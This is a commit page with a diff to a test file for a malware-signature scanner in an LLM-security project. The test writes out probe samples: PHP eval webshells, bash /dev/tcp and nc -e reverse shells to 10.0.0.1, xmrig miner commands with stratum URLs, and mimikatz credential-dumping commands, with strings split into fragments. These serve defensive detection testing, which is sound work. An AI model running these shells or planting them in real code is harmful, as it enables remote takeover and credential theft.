open/llm-security
1
0
Fork 0
Code Issues Releases 6 Activity

test(llm-security): build poisoned fixtures at test time, never on disk

Browse source 
v8.1.0 AV surface, session S1. The three poisoned fixture trees
(signature-scan/poisoned, memory-scan/poisoned-project, trigger-scan/poisoned)
are deleted from disk and materialized into a temp dir by the new
tests/helpers/payload-trees.mjs. SIG-matching strings are assembled from
fragments, the zero-width carrier comes from String.fromCodePoint, and every
file carries the sha256 of the retired on-disk bytes;
tests/helpers/payload-trees.test.mjs asserts the materialized trees are
byte-identical (mutation-checked: one changed byte fails it).

Inline payload literals in signature-scanner, signature-scanner-custom-rules
and e2e/scan-pipeline are fragmented the same way; the literal U+200B in
attack-simulator, auto-cleaner-rce and auto-cleaner-traversal is replaced by
String.fromCodePoint(0x200B).

av-surface: a 3->0, a2 3->0, c 5->1, d 5->2, b 9->8 (webshell-b64 blob gone).
What remains (c=1, d=2, b) is under examples/** or is (b), both S2.
Suite 2261 / 2252 pass / 3 fail (av-surface b, c, d only) / 6 skip.
Golden output identical before/after (109/7/4, 61/61).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-09-22 13:07:38 +02:00
commit 31aa2b4943
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
21 changed files with 282 additions and 143 deletions
Download patch file Download diff file Expand all files Collapse all files

65
tests/scanners/signature-scanner.test.mjs
View file

@ -1,10 +1,15 @@
// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
// Fixtures in tests/fixtures/signature-scan/:
// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
// differentiator), and a /dev/tcp reverse shell
// Fixtures:
// - tests/fixtures/signature-scan/clean/ : benign prose that merely mentions
// "shell" (0 findings expected)
// - poisoned (materialized at test time by tests/helpers/payload-trees.mjs,
// never on disk): a PHP webshell, a base64-wrapped copy of it
// (decode-pipeline differentiator), and a /dev/tcp reverse shell
//
// Every payload in this file is assembled from fragments ('@ev' + 'al(...') so
// no contiguous SIG match sits in the source — tests/av-surface.test.mjs (a2).
import { describe, it, beforeEach } from 'node:test';
import { describe, it, beforeEach, after } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
@ -14,10 +19,16 @@ import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';
import { rot13 } from '../../scanners/lib/string-utils.mjs';
import { materializeTree } from '../helpers/payload-trees.mjs';
const __dirname = fileURLToPath(new URL('.', import.meta.url));
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
const poisoned = materializeTree('signature-scan/poisoned');
after(poisoned.cleanup);
const POISONED_FIXTURE = poisoned.dir;
const MINER = 'xm' + 'rig';
const HACKTOOL = 'mimi' + 'katz';
// ---------------------------------------------------------------------------
// Clean — benign prose, no known-bad identity
@ -134,7 +145,7 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
it('fires the cryptominer family on a known miner binary reference (SIG-MINER-002)', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-miner-'));
try {
writeFileSync(join(dir, 'start.sh'), '#!/bin/sh\n./xmrig --coin monero -o pool.example:3333\n');
writeFileSync(join(dir, 'start.sh'), `#!/bin/sh\n./${MINER} --coin monero -o pool.example:3333\n`);
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
@ -151,7 +162,7 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
it('fires the cryptominer family on a stratum pool URL (SIG-MINER-001)', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-stratum-'));
try {
writeFileSync(join(dir, 'config.txt'), 'pool = stratum+tcp://pool.example.org:4444\n');
writeFileSync(join(dir, 'config.txt'), 'pool = stratum' + '+tcp://pool.example.org:4444\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
@ -166,14 +177,14 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
it('fires the hacktool family on an offensive-tooling reference (SIG-HACKTOOL-001)', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-hacktool-'));
try {
writeFileSync(join(dir, 'post.sh'), '#!/bin/sh\n# runs mimikatz sekurlsa::logonpasswords\n./mimikatz.exe\n');
writeFileSync(join(dir, 'post.sh'), `#!/bin/sh\n# runs ${HACKTOOL} sekurlsa` + `::logonpasswords\n./${HACKTOOL}.exe\n`);
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const ht = result.findings.filter(f => /\[hacktool\]/.test(f.evidence || ''));
assert.ok(ht.length >= 1, `expected a hacktool finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
assert.ok(ht.some(f => /SIG-HACKTOOL-001/.test(f.evidence)), 'should attribute to SIG-HACKTOOL-001');
assert.ok(ht.some(f => /mimikatz/i.test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
assert.ok(ht.some(f => new RegExp(HACKTOOL, 'i').test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
} finally {
rmSync(dir, { recursive: true, force: true });
}
@ -191,11 +202,11 @@ describe('signature-scanner: rot13 decode variant', () => {
it('catches a rot13-obfuscated cryptominer reference and marks it decoded', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-rot13-'));
try {
// rot13 is its own inverse: writing rot13("...xmrig...") means the SIG
// rot13 is its own inverse: writing rot13("...<miner>...") means the SIG
// rot13 variant decodes back to the plaintext miner reference. The raw
// bytes ("...kzevt...") match no signature.
const cipher = rot13('the xmrig payload is here');
assert.ok(!/xmrig/i.test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
const cipher = rot13(`the ${MINER} payload is here`);
assert.ok(!new RegExp(MINER, 'i').test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
writeFileSync(join(dir, 'blob.txt'), cipher + '\n');
resetCounter();
const discovery = await discoverFiles(dir);
@ -224,7 +235,7 @@ describe('signature-scanner: path exclusions', () => {
for (const sub of ['knowledge', 'tests', 'docs']) {
mkdirSync(join(dir, sub), { recursive: true });
// A file that WOULD match a webshell signature, but lives in an excluded dir.
writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
writeFileSync(join(dir, sub, 'sample.php'), "<?php @ev" + "al($_POST['x']); ?>\n");
}
resetCounter();
const discovery = await discoverFiles(dir);
@ -245,10 +256,10 @@ describe('signature-scanner: path exclusions', () => {
try {
mkdirSync(join(dir, 'scanners', 'commons', 'signatures'), { recursive: true });
// Shaped like the real vendored data: signature prose that is itself a match.
writeFileSync(join(dir, 'scanners', 'commons', 'CHANGELOG.md'), "- added rule for `xmrig --donate-level` miners\n");
writeFileSync(join(dir, 'scanners', 'commons', 'CHANGELOG.md'), `- added rule for \`${MINER} --donate-level\` miners\n`);
writeFileSync(
join(dir, 'scanners', 'commons', 'signatures', 'malware-signatures.json'),
JSON.stringify({ rules: [{ id: 'x', pattern: 'xmrig --donate-level' }] }),
JSON.stringify({ rules: [{ id: 'x', pattern: `${MINER} --donate-level` }] }),
);
resetCounter();
const discovery = await discoverFiles(dir);
@ -271,7 +282,7 @@ describe('signature-scanner: path exclusions', () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-commons-nested-'));
try {
mkdirSync(join(dir, 'vendor', 'scanners', 'commons'), { recursive: true });
writeFileSync(join(dir, 'vendor', 'scanners', 'commons', 'shell.php'), "<?php @eval($_POST['x']); ?>\n");
writeFileSync(join(dir, 'vendor', 'scanners', 'commons', 'shell.php'), "<?php @ev" + "al($_POST['x']); ?>\n");
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
@ -319,8 +330,8 @@ describe('signature-scanner: family disable', () => {
join(dir, '.llm-security', 'policy.json'),
JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
);
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/' + 'tcp/10.0.0.1/4444 0>&1\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
@ -364,7 +375,7 @@ describe('signature-scanner: ruleset provenance', () => {
// would be tautological; this cannot pass unless commons resolved.
const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
try {
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
@ -382,13 +393,13 @@ describe('signature-scanner: every published rule fires end-to-end', () => {
// One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
// path segments; the payloads are the shapes each rule is named for.
const PROBES = {
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @ev" + "al($_POST['cmd']); ?>\n"],
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']" + "('id'); ?>\n"],
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/' + 'tcp/10.0.0.1/4444 0>&1\n'],
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/' + 'sh 10.0.0.1 4444\n'],
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum' + '+tcp://pool.example.org:3333\n'],
'SIG-MINER-002': ['probe-miner-2.txt', `./${MINER} --donate-level 1\n`],
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', `sekurlsa` + `::logonpasswords via ${HACKTOOL}\n`],
};
it('has a probe for every rule the commons ruleset publishes', async () => {